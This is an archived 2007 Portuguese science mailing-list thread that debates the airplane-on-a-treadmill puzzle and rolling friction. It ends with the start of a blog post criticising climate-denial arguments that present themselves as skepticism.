>>>>>> a não ser uns poucos metros, caso a esteira parta com alta
>>>>>> aceleração.
>>>>>> Ele
>>>>>> só passará a se deslocar para frente continuamente sobre a esteira
>>>>>> quando
>>>>>> os
>>>>>> motores das hélices ou turbinas forem acionados e acelerados.
>>>>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as
>>>>>> rodas
>>>>>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>>>>>> estará
>>>>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto
>>>>>> em
>>>>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>>>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>>>>> acima
>>>>>> mencionado ser suficientemente forte para elevar o avião da esteira,
>>>>>> o
>>>>>> que
>>>>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o
>>>>>> avião
>>>>>> fosse
>>>>>> "amarrado pela cauda" e acelerasse os motores.
>>>>>>>
>>>>>>> []s
>>>>>>> Ricardo
>>>>>>
>>>>>> []s
>>>>>> José Renato
>>>>>> ................................................
>>>>>
>>>>> ----- Original Message -----
>>>>> From: "Oraculo" <oraculo@atibaia.com.br>
>>>>> To: <ciencialist@yahoogrupos.com.br>
>>>>> Sent: Monday, March 05, 2007 3:19 PM
>>>>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>>>> decola
>>>>> SEM PROBLEMAS..:-)
>>>>>
>>>>>
>>>>> Olá Jose Renato
>>>>>
>>>>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>>>> velocidade!
>>>>> Isso significa que o mesmo está praticamente parado em relação ao solo
>>>>> e
>>>>> ao
>>>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>>>> hélices
>>>>> ou turbinas. Difícil, não?
>>>>> "
>>>>>
>>>>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>>>>> tração
>>>>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ
>>>>> do
>>>>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
>>>>> avião
>>>>> apra tras, depois que ele liga as turbinas!
>>>>>
>>>>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira,
>>>>> e
>>>>> elas
>>>>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são
>>>>> dispositivos
>>>>> de
>>>>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>>>>> aeroporto.
>>>>>
>>>>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de
>>>>> fazer
>>>>> GRANDE força para manter a mala no lugar, enquanto a esteira rola
>>>>> abaixo
>>>>> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
>>>>> fornece tração para a esteira empurrar a mala.
>>>>>
>>>>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e
>>>>> a
>>>>> mala
>>>>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela.
>>>>> O
>>>>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>>>>> atrito
>>>>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>>>>
>>>>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
>>>>> ZERO,
>>>>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>>>>> mala
>>>>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>>>>
>>>>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou
>>>>> do
>>>>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
>>>>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>>>>> parar,
>>>>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>>>>
>>>>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a
>>>>> esteira
>>>>> pode
>>>>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
>>>>> rolamentos
>>>>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força
>>>>> das
>>>>> turbinas.
>>>>>
>>>>> Homero
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> ----- Original Message -----
>>>>> From: José Renato
>>>>> To: ciencialist@yahoogrupos.com.br
>>>>> Sent: Sunday, March 04, 2007 12:10 AM
>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>> avião
>>>>> em
>>>>> esteira
>>>>>
>>>>>
>>>>> Ricardo:
>>>>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>>>> hélices,
>>>>> ao
>>>>> empurrar o ar para trás, empurra o avião para frente, independente
>>>>> deste
>>>>> ter
>>>>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>>>>> cima. ]
>>>>> ..........................
>>>>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>>>> velocidade!
>>>>> Isso significa que o mesmo está praticamente parado em relação ao
>>>>> solo
>>>>> e
>>>>> ao
>>>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>>>> hélices
>>>>> ou turbinas. Difícil, não?
>>>>> []s
>>>>> JR
>>>>> ..........................
>>>>>
>>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>>> Sent: Tuesday, February 27, 2007 11:25 PM
>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>> avião
>>>>> em
>>>>> esteira
>>>>>
>>>>> > From: "José Renato" <jrma@terra.com.br>
>>>>> >> Homero:
>>>>> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou
>>>>> das
>>>>> >> rodas. ]
>>>>> >> .............................................
>>>>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>>>>> asas
>>>>> >> capaz
>>>>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>>>>> >> turbinas.
>>>>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>>>>> >
>>>>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>>>> hélices,
>>>>> > ao
>>>>> > empurrar o ar para trás, empurra o avião para frente, independente
>>>>> deste
>>>>> > ter
>>>>> > ou não asas. O avião se move para frente ao ligar a turbina, não
>>>>> para
>>>>> > cima.
>>>>> >
>>>>> > Um abraço,
>>>>> >
>>>>> > Ricardo
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SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 02:34

Corrigindo

VLE: velocidade máxima, quando o trem de pouso está estendido.

VLO: velocidade máxima para operações de abertura e recolhimento do trem de
pouso.

Logo, não fazem NENHUM sentido minhas observações finais :))))

> Piper Arrow PA-28: velocidade de decolagem: 60-70 MPH, vle: 150 MPH.
> Deve decolar!!!
> Beechcraft Travelair D95: velocidade de decolagem: 85 MPH, vle: 165
> MPH. Não deve decolar...

Desculpem-me....

Não tenho dados do máximo que as rodas dos aviões podem girar no solo.

Depois dessa nem falo mais nada :)


----- Original Message -----
From: "Ricardo" <ricardos@infolink.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 1:55 AM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


> Vou encerrar minha participação neste tópico com esta mensagem (não
> prometo
> :) ).
>
> Vamos por partes...
>
> A força de atrito de rolamento é, a princípio, constante:
>
> F = N x Crr, onde F, é claro, é a força de atrito que desejamos
> calcular, N é a normal, que só depende do peso do avião e sua carga, e Crr
> é
> o coeficiente de atrito de rolamento.
>
> Percebam que, na fórmula, não entra a velocidade. Você pode aumentar a
> velocidade que a força é a mesma... A resistência que o rolamento exerce
> ao
> movimento seria constante, e não linear como eu havia pensado, e nem
> quadrática como o Takata pensou.
>
> Até aqui, o avião decola sem problema. E eu acho mais do que suficiente
> para
> o problema em si, que obviamente não queria levantar questões técnicas de
> aviação, mas apenas brincar com a questão da tração via roda, ou via
> turbina.
>
> Mas, vou continuar mesmo assim.
>
> Conforme aumentamos a velocidade de rolamentos, ocorre um efeito
> previsível:
> aquecimento do material do rolamento. Normalmente consideramos valores
> constantes de Crr para materiais, no cálculo da força de resistência, mas
> após determinadas temperaturas, começam a ocorrer alterações sensíveis no
> Crr utilizado. Sim, se sobrecarregamos um rolamento ele aquece
> demasiadamente e seu Crr aumenta, aumentando a força de resistência. E
> além
> disso, os rolamentos possuem uma tolerância máxima de RPM, que eles podem
> suportar. Claro que, como os dados variam de caso para caso, pois temos
> vários fabricantes e modelos de rolamentos de trens de pouso, não vale a
> pena perder muito tempo nisso.
>
> Mas, vou continuar mesmo assim.
>
> E se ao invés de gastar tempo calculando atrito & cia, partíssemos de
> especificações técnicas de aeronaves do mercado (que já vêm com seus
> rolamentos predeterminados de fábrica)? Existem 2 dados, normalmente
> disponibilizados em especificações técnicas de aeronaves, que podem nos
> ajudar no problema:
> 1) velocidade de decolagem.
> 2) vle: velocidade estendida do trem de pouso (velocidade operacional
> máxima possível do trem de pouso para o avião). o máximo que se pode
> acelerar o avião com o trem de pouso no solo, segundo o fabricante. Na
> verdade a vlo é a máxima operacional e a vle a máxima operacional
> estendida.
>
> Parto do princípio que se temos uma velocidade operacional do trem de
> pouso
> factível, como sendo o dobro da necessária à decolagem, podemos decolar na
> esteira sem problemas.
>
> Bom, o problema é que essas velocidade variam bastante de avião para
> avião.
> Mas, nos casos que vi, a vle varia em torno do dobro da velocidade de
> decolagem. Em alguns casos é menor que o dobro, em outros maior. Exemplo:
> Piper Arrow PA-28: velocidade de decolagem: 60-70 MPH, vle: 150 MPH.
> Deve decolar!!!
> Beechcraft Travelair D95: velocidade de decolagem: 85 MPH, vle: 165
> MPH. Não deve decolar...
>
> Para mim, mais uma vez, o importante é que: sim, um avião pode decolar
> nessa
> situação. Estas questões técnicas são irrelevantes para o problema, que
> tem,
> obviamente, o mero objetivo de nos confundir quanto à origem da
> tração/empuxo.
>
> Fico por aqui.
>
> Um grande abraço,
>
> Ricardo
>
>
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
>> Ricardo, que o avião vai ser empurrado para frente não há dúvidas. A
>> questão
>> depende de como está medindo a velocidade do avião. Qual o seu ponto de
>> referência para a medida da velocidade. Uma primeira possibilidade é
>> medir
>> a
>> velocidade pelo rodar das rodas do avião sobre a esteira. Nesse caso,
>> onde
>> o
>> ponto de referência para a medição da velocidade está na esteira, o
>> deslocamento do avião é compensado ou anulado pelo da esteira em sentido
>> contrário. O avião ficará praticamente parado sobre a esteira e não vai
>> ter
>> sustentação para alçar vôo. Uma segunda possibilidade é medir a
>> velocidade
>> através GPS ou de sistema aerodinâmico tipo tubo de Pitot ou semelhante.
>> Nesse caso, em que o ponto de referência para a medição da velocidade é o
>> chão ou a velocidade do ar em movimento contrário ao deslocamento do
>> avião,
>> o avião poderá adquirir velocidade suficiente para alçar vôo.
>> []s
>> José Renato
>> ......................................................
>>
>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Wednesday, March 07, 2007 10:36 PM
>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola SEM PROBLEMAS..:-)
>>
>>
>>> José Renato,
>>>
>>> Realmente você chegou ao que considero o ponto inicial de discordância,
>>> especificamente, entre nós dois.
>>>
>>> Para mim é inquestionável que o avião se deslocará para frente sim.
>>> Independente da velocidade do avião do enunciado se referir à velocidade
>>> em
>>> relação ao solo ou em relação à esteira.
>>>
>>> Se o atrito puder impedir a decolagem, o que não acredito, isso só
>>> ocorrerá
>>> com para velocidades maiores, quando o atrito será mais relevante.
>>>
>>>> JR - Confirme se até aqui ficou claro para vc que o avião ficará [...]
>>>
>>> Para mim, até aqui, ficou claro que discordamos neste ponto básico. Da
>>> mesma
>>> forma que vc tem a sensação que precisa me explicar as bases do
>>> problema,
>>> eu
>>> tb tenho a mesma certeza de que vc é que precisa entender melhor
>>> questões
>>> básicas da física envolvida.
>>>
>>> []s Ricardo
>>>
>>>
>>> ----- Original Message -----
>>> From: "José Renato" <jrma@terra.com.br>
>>> To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Wednesday, March 07, 2007 10:18 PM
>>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>> decola SEM PROBLEMAS..:-)
>>>
>>>
>>>> Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
>>>> problema, item a item. Faço comentários no texto abaixo, após JR -, de
>>>> modo
>>>> a facilitar o desenvolvimento das idéias:
>>>> .....................................................
>>>>
>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>> Sent: Tuesday, March 06, 2007 7:06 AM
>>>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
>>>> avião
>>>> decola SEM PROBLEMAS..:-)
>>>>
>>>>
>>>>> José Renato,
>>>>>
>>>>> Com atrito nos "rolamentos", e com o motor desligado (importante), o
>>>>> avião
>>>>> é
>>>>> progressivamente puxado para trás, se a esteira estiver continuamente
>>>>> rodando para trás. Começando com uma velocidade determinada, até
>>>>> chegar
>>>>> à
>>>>> velocidade da esteira.
>>>> JR - A proposta de "testar" o que ocorreria quando o avião estiver com
>>>> motores desligados e a esteira fosse acionada foi só para ajustar que,
>>>> normalmente, há um atrito significativo entre a esteira e o avião
>>>> através
>>>> do
>>>> que quer que seja: rodas, esquis, fuselagem...
>>>>>
>>>>> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
>>>>> descrição da frase acima não corresponde em nada ao problema proposto.
>>>>> O
>>>>> avião e a esteira começam parados, o avião liga seu motor, então,
>>>>> apenas
>>>>> se
>>>>> ele começar a andar para frente, a esteira começara a andar para trás.
>>>>> E
>>>>> o
>>>>> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo
>>>>> do
>>>>> motor. Então o avião andará para frente.
>>>> JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em
>>>> que
>>>> os motores são ligados e o avião começa a se deslocar para frente sobre
>>>> a
>>>> esteira e, *simultaneamente*, a esteira começa a se deslocar para trás,
>>>> na
>>>> mesma velocidade do avião. Agora, vem um detalhe importante: como está
>>>> sendo
>>>> medida a velocidade do avião? Vamos considerar que a velocidade do
>>>> avião
>>>> é
>>>> medida por um velocímetro nele acoplado, semelhante ao que as revistas
>>>> de
>>>> automóveis usam para fazer os testes de carros: uma roda calibrada ou
>>>> um
>>>> foco de luz sobre o piso da esteira onde o avião está se deslocando.
>>>> Assim
>>>> que o avião aumenta a velocidade e atinge 100km/h - medida como se
>>>> fosse
>>>> um
>>>> carro em teste - a esteira corre também na mesma velocidade de 100km/h,
>>>> para
>>>> trás. Em relação a esteira o avião está a 100km/h, mas em relação ao
>>>> chão
>>>> onde a esteira está apoiada e ao ar que os cerca, está praticamente
>>>> parado.
>>>>>
>>>>> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda
>>>>> para
>>>>> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
>>>>> esteira
>>>>> ficam parados. Para o avião e a esteira ficarem parados, o atrito
>>>>> estaria
>>>>> acima de qualquer caso real razoável.
>>>> JR - Nesse caso estou analisando a primeira possibilidade. Quando os
>>>> motores
>>>> do avião são acionados o atrito normal existente é superado pelo empuxo
>>>> e
>>>> ele se desloca sobre a esteira como faria em qualquer pista.
>>>>>
>>>>> Este assunto está se estendendo a ponto de confundir mais do que
>>>>> esclarecer,
>>>>> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
>>>>> recorrentes
>>>>> discussões dos mesmos pontos. Evita que andemos em círculos, como está
>>>>> acontecendo agora.
>>>> JR - Confirme se até aqui ficou claro para vc que o avião ficará
>>>> praticamente parado em relação ao chão onde está apoiada a esteira
>>>> rolante.
>>>> Aí então podemos ajustar outros entendimentos e continuar nossa
>>>> discussão.
>>>> Takata vinha desenvolvendo a questão com clareza até quando - para
>>>> atender
>>>> as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
>>>> suposições e detalhes periféricos sem importância significativa ao
>>>> esclarecimento do problema proposto.
>>>>
>>>> []s
>>>>
>>>> José Renato
>>>> ......................................................
>>>>
>>>> al Message -----
>>>>> From: "José Renato" <jrma@terra.com.br>
>>>>> To: <ciencialist@yahoogrupos.com.br>
>>>>> Sent: Monday, March 05, 2007 11:36 PM
>>>>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
>>>>> avião
>>>>> decola SEM PROBLEMAS..:-)
>>>>>
>>>>>
>>>>>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>>>>>> rodas.
>>>>>> Assim sendo, a esteira transportará o avião na direção do movimento
>>>>>> dela.
>>>>>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>>>>>> seguinte
>>>>>> texto:
>>>>>>
>>>>>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião
>>>>>> para
>>>>>> trás. As rodas girarão um pouco apenas no caso da esteira partir com
>>>>>> uma
>>>>>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos
>>>>>> das
>>>>>> rodas. Depois que a esteira "infinita" atinge a velocidade limite
>>>>>> máxima
>>>>>> e
>>>>>> a
>>>>>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa
>>>>>> a
>>>>>> ser
>>>>>> transportado "paradão", se deslocando para trás com a mesma
>>>>>> velocidade
>>>>>> da
>>>>>> esteira. ]
>>>>>>
>>>>>> []s
>>>>>>
>>>>>> JR
>>>>>> ...................................
>>>>>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>>>>>> Sent: Sunday, March 04, 2007 6:38 PM
>>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>>> avião
>>>>>> em
>>>>>> esteira
>>>>>>
>>>>>>
>>>>>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
>>>>>>> comentários
>>>>>>> após os seus:
>>>>>>> ...........................
>>>>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>>>>> Sent: Sunday, March 04, 2007 4:09 PM
>>>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>>>> avião
>>>>>>> em
>>>>>>> esteira
>>>>>>>
>>>>>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É
>>>>>>>> ao
>>>>>>>> que
>>>>>>>> somos levados a pensar a princípio. Mas como o sistema que empurra
>>>>>>>> o
>>>>>>>> avião
>>>>>>>> para frente é independente da esteira (turbina, por exemplo), a
>>>>>>>> esteira
>>>>>>>> se
>>>>>>>> mover para trás não empurra o avião para trás de forma
>>>>>>>> determinante,
>>>>>>>> mas
>>>>>>>> sim, faz as rodas girarem mais rápido.
>>>>>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer
>>>>>>> a
>>>>>>> vc
>>>>>>> e
>>>>>>> a
>>>>>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão
>>>>>>> paradas
>>>>>>> a
>>>>>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas
>>>>>>> no
>>>>>>> caso
>>>>>>> da esteira partir com uma *aceleração* alta o suficiente para vencer
>>>>>>> o
>>>>>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita"
>>>>>>> atinge
>>>>>>> a
>>>>>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do
>>>>>>> avião
>>>>>>> param de rodar e ele passa a ser transportado "paradão", se
>>>>>>> deslocando
>>>>>>> para
>>>>>>> trás com a mesma velocidade da esteira.
>>>>>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>>>>>> acionados.
>>>>>>>
>>>>>>>> Então, o avião anda para a frente, em relação ao chão, a esteira
>>>>>>>> roda
>>>>>>>> para
>>>>>>>> trás, e as rodas giram mais rápido.
>>>>>>> JR - Não, Ricardo, com os motores parados o avião não se desloca
>>>>>>> para
>>>>>>> frente
>>>>>>> a não ser uns poucos metros, caso a esteira parta com alta
>>>>>>> aceleração.
>>>>>>> Ele
>>>>>>> só passará a se deslocar para frente continuamente sobre a esteira
>>>>>>> quando
>>>>>>> os
>>>>>>> motores das hélices ou turbinas forem acionados e acelerados.
>>>>>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as
>>>>>>> rodas
>>>>>>> estarão girando sobre a esteira como um carro no asfalto, mas o
>>>>>>> avião
>>>>>>> estará
>>>>>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto
>>>>>>> em
>>>>>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>>>>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>>>>>> acima
>>>>>>> mencionado ser suficientemente forte para elevar o avião da esteira,
>>>>>>> o
>>>>>>> que
>>>>>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o
>>>>>>> avião
>>>>>>> fosse
>>>>>>> "amarrado pela cauda" e acelerasse os motores.
>>>>>>>>
>>>>>>>> []s
>>>>>>>> Ricardo
>>>>>>>
>>>>>>> []s
>>>>>>> José Renato
>>>>>>> ................................................
>>>>>>
>>>>>> ----- Original Message -----
>>>>>> From: "Oraculo" <oraculo@atibaia.com.br>
>>>>>> To: <ciencialist@yahoogrupos.com.br>
>>>>>> Sent: Monday, March 05, 2007 3:19 PM
>>>>>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>>>>> decola
>>>>>> SEM PROBLEMAS..:-)
>>>>>>
>>>>>>
>>>>>> Olá Jose Renato
>>>>>>
>>>>>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>>>>> velocidade!
>>>>>> Isso significa que o mesmo está praticamente parado em relação ao
>>>>>> solo
>>>>>> e
>>>>>> ao
>>>>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>>>>> hélices
>>>>>> ou turbinas. Difícil, não?
>>>>>> "
>>>>>>
>>>>>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>>>>>> tração
>>>>>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a
>>>>>> traçaõ
>>>>>> do
>>>>>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
>>>>>> avião
>>>>>> apra tras, depois que ele liga as turbinas!
>>>>>>
>>>>>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira,
>>>>>> e
>>>>>> elas
>>>>>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são
>>>>>> dispositivos
>>>>>> de
>>>>>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>>>>>> aeroporto.
>>>>>>
>>>>>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de
>>>>>> fazer
>>>>>> GRANDE força para manter a mala no lugar, enquanto a esteira rola
>>>>>> abaixo
>>>>>> dela. Isso porque o atrito das rodas fixas com a superfície da
>>>>>> esteira
>>>>>> fornece tração para a esteira empurrar a mala.
>>>>>>
>>>>>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e
>>>>>> a
>>>>>> mala
>>>>>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela.
>>>>>> O
>>>>>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>>>>>> atrito
>>>>>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>>>>>
>>>>>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem
>>>>>> ATRITO
>>>>>> ZERO,
>>>>>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>>>>>> mala
>>>>>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>>>>>
>>>>>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala
>>>>>> ou
>>>>>> do
>>>>>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o
>>>>>> que
>>>>>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>>>>>> parar,
>>>>>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>>>>>
>>>>>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a
>>>>>> esteira
>>>>>> pode
>>>>>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
>>>>>> rolamentos
>>>>>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da
>>>>>> força
>>>>>> das
>>>>>> turbinas.
>>>>>>
>>>>>> Homero
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>> ----- Original Message -----
>>>>>> From: José Renato
>>>>>> To: ciencialist@yahoogrupos.com.br
>>>>>> Sent: Sunday, March 04, 2007 12:10 AM
>>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>>> avião
>>>>>> em
>>>>>> esteira
>>>>>>
>>>>>>
>>>>>> Ricardo:
>>>>>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>>>>> hélices,
>>>>>> ao
>>>>>> empurrar o ar para trás, empurra o avião para frente, independente
>>>>>> deste
>>>>>> ter
>>>>>> ou não asas. O avião se move para frente ao ligar a turbina, não
>>>>>> para
>>>>>> cima. ]
>>>>>> ..........................
>>>>>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>>>>> velocidade!
>>>>>> Isso significa que o mesmo está praticamente parado em relação ao
>>>>>> solo
>>>>>> e
>>>>>> ao
>>>>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>>>>> hélices
>>>>>> ou turbinas. Difícil, não?
>>>>>> []s
>>>>>> JR
>>>>>> ..........................
>>>>>>
>>>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>>>> Sent: Tuesday, February 27, 2007 11:25 PM
>>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>>> avião
>>>>>> em
>>>>>> esteira
>>>>>>
>>>>>> > From: "José Renato" <jrma@terra.com.br>
>>>>>> >> Homero:
>>>>>> >> [ Se ligar as hélices, ele se move, independente de uma esteira
>>>>>> ou
>>>>>> das
>>>>>> >> rodas. ]
>>>>>> >> .............................................
>>>>>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>>>>>> asas
>>>>>> >> capaz
>>>>>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>>>>>> >> turbinas.
>>>>>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>>>>>> >
>>>>>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>>>>> hélices,
>>>>>> > ao
>>>>>> > empurrar o ar para trás, empurra o avião para frente, independente
>>>>>> deste
>>>>>> > ter
>>>>>> > ou não asas. O avião se move para frente ao ligar a turbina, não
>>>>>> para
>>>>>> > cima.
>>>>>> >
>>>>>> > Um abraço,
>>>>>> >
>>>>>> > Ricardo
>>>>
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SUBJECT: Re: P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 05:07

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> A resistência que o rolamento exerce ao movimento seria constante, e
> não linear como eu havia pensado, e nem quadrática como o Takata
> pensou.

Não é questão de eu pensar ou não dessa ou daquela forma. Eu
apresentei uma referência para a fórmula da resistência à rolagem
dependente de velocidade.

A fórmula: Fat = N x crr

É válida apenas para baixas velocidades, qdo a porção dependente de
velocidade tem pouco efeito. Para velocidade maiores, a componente
dependente de velocidade passa a ter efeito maior - e mm a predominar.

Frr = [crf + cr x 3,24 x (V/100)^2,5].m.g
http://www.its.ucdavis.edu/publications/1999/UCD-ITS-RR-99-04.pdf
http://br.groups.yahoo.com/group/ciencialist/message/61492

[]s,

Roberto Takata



SUBJECT: Doutor Strangelove: financiado pela ExxonMobil
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 12/03/2007 07:53

Doutor Strangelove: financiado pela
ExxonMobil<http://100nexos.com/arquivo/105>Published
March 12th, 2007 in Ci�ncia <http://100nexos.com/arquivo/category/ciencia/>.
0 Comments <http://100nexos.com/arquivo/105#respond>

O blog Rabiscos Econ�micos revela "Como eu parei de me preocupar com o
Aquecimento Global e aprendi a amar as ind�strias, SUVs e todas aquelas
coisas<http://rabiscoseconomicos.blogspot.com/2007/03/adeus-al-gore-ou-como-eu-parei-de-me.html>".
O post, que descobri atrav�s do De Gustibus<http://www.subsolo.org/gustibus/>,
� um sum�rio baseado primariamente em um artigo do ge�logo Tim Patterson no
s�tio TCS <http://www.tcsdaily.com/article.aspx?id=010405M>, e com pitadas
do document�rio The Great Global Warming
Swindle<http://www.channel4.com/science/microsites/G/great_global_warming_swindle/index.html>(GoogleVideo
aqui<http://video.google.com/videoplay?docid=9005566792811497638&q=Global%20Warming%20Swindle&hl=en>).
Eles defendem:

O seres-humanos n�o est�o causando o aquecimento global. A hip�tese do
"Efeito Estufa" � falsa. J� foi falseada v�rias vezes. O problema � que
quando as coisas se tornam pol�ticas, a ci�ncia e o m�todo cient�fico n�o
importam mais. As pessoas que apoiam os movimentos "ambientalistas" tem uma
outra agenda. Elas n�o ligam para o "Meio-ambiente", mas sim querem se opor
� Economia de Mercado e aos Estados Unidos. Muitas dessas pessoas vem do
fracasso que foi a URSS e, por isso, introduzem suas id�ias marxistas em
qualquer lugar que elas tem acesso. Tudo vira uma quest�o ideol�gica.

� ir�nico que este tipo de argumenta��o seja classificada como *"c�tica"*.
